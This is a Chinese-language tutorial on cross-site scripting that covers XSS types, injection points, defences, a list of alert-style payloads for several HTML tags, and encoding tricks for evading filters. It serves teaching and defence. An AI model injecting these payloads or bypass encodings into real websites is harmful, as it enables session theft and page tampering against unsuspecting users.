XSS小结
字数 1862 2025-08-27 12:33:37
XSS(跨站脚本攻击)全面解析与防御指南
一、XSS基础概念
1.1 定义
XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。XSS是一种注入型攻击,攻击者在可信网页中嵌入恶意代码,当用户访问该网页时触发攻击。
1.2 危害
XSS攻击可造成多方面危害:
- 网络钓鱼,获取各类用户账号
- 窃取用户cookies资料,获取隐私信息
- 劫持用户会话,执行非法操作(转账、强制发表内容等)
- 强制弹出广告、刷流量
- 网页挂马
- 任意篡改页面信息、删除文章
- 发起DDoS攻击
- 获取客户端信息(浏览历史、真实IP、开放端口等)
- 控制受害者机器向其他网站发起攻击
- 结合CSRF等其他漏洞实施进一步危害
- 提升用户权限,渗透网站
- 传播跨站脚本蠕虫
二、XSS产生原理
通过在用户端注入恶意的可执行脚本,若服务器对用户输入不进行处理或处理不严,浏览器就会直接执行这些恶意脚本。
三、XSS常见漏洞点
3.1 数据交互处
- GET/POST参数
- Cookies
- Headers
3.2 反馈与浏览
- 富文本编辑器
- 各类标签插入和自定义
3.3 数据输出处
- 用户资料展示
- 关键词、标签、说明
- 文件上传功能
四、XSS分类与攻击方式
4.1 反射型XSS(非持久型)
特点:一次性攻击,只在用户点击特定链接时触发
常见注入点:
- 网站搜索栏
- 用户登录入口
- 输入表单
攻击流程:
- 攻击者构造包含XSS代码的恶意链接
- 通过邮件等方式发送给目标用户
- 用户点击链接访问
- 服务器处理请求并返回含XSS代码的响应
- 用户浏览器解析执行恶意脚本
4.2 存储型XSS(持久型)
特点:攻击脚本永久存储在服务器数据库中,危害更大
常见注入点:
- 论坛、博客
- 留言板
- 评论系统
攻击流程:
- 攻击者在发帖/留言中注入恶意脚本
- 服务器存储该内容
- 其他用户浏览该内容
- 恶意脚本在用户浏览器中执行
4.3 DOM型XSS
特点:基于DOM文档对象模型,不依赖服务器交互
注入点:
- 通过JS脚本动态修改页面内容
- 客户端从DOM获取数据并执行
攻击流程:
- 攻击者构造特殊URL
- 用户访问该URL
- 服务器响应不包含攻击脚本
- 客户端DOM处理时触发XSS漏洞
五、XSS常用攻击标签与Payload
5.1 ``标签利用
5.2 <a>标签利用
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>aa</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
5.3 <input>标签利用
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>
5.4 <form>标签利用
<form action=javascript:alert('xss') method="get">
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form action=1 onmouseover=alert('xss)>
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
5.5 <iframe>标签利用
<iframe src=javascript:alert('xss');height=5width=1000 />
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') />
<iframe src="javascript:prompt(`xss`)"></iframe>
5.6 <svg>标签利用
<svg onload=alert(1)>
六、XSS编码绕过技术
6.1 JS编码
- 八进制:
\141(a的编码) - 十六进制:
\x61(a的编码) - Unicode:
\u0061(a的编码) - 控制字符:
\n、\r等
6.2 HTML实体编码
- 命名实体:
<(<的编码) - 字符编码:
- 十进制:
< - 十六进制:
<
- 十进制:
6.3 URL编码
全编码(两次URL编码):
alert → %25%36%31%25%36%63%25%36%35%25%37%32%25%37%34
6.4 String.fromCharCode编码
alert → String.fromCharCode(97,108,101,114,116)
七、XSS防御措施
7.1 输入过滤
输入验证:
- 仅接受指定长度范围内的合法格式内容
- 验证内容:
- 是否仅包含合法字符
- 字符串长度限制
- 数字范围验证
- 特定格式验证(邮箱、电话、IP等)
数据消毒:
过滤敏感字符:
< > ' " & # javascript expression
7.2 输出编码
对输出数据进行HTML编码等处理,使潜在危害信息无害化
7.3 白名单与黑名单
制定严格的过滤策略
7.4 安全编码规范
遵循Web安全编码最佳实践
7.5 DOM型XSS防御
- 避免客户端文档重写、重定向等敏感操作
- 强化客户端JS代码,特别是受影响的DOM对象
7.6 其他防御工具
- Anti_XSS:微软开发的.NET平台防御类库
- HttpOnly Cookie:阻止JS直接访问Cookies
- Noscript:默认禁止所有脚本的浏览器插件
- WAF:Web应用防火墙(软件/硬件/云WAF)
八、总结
XSS攻击形式多样,危害严重,防御需要从输入验证、输出编码、安全配置等多方面入手。开发者应充分了解各种XSS攻击手法,在开发过程中实施严格的安全措施,同时结合专业安全工具,构建全面的防御体系。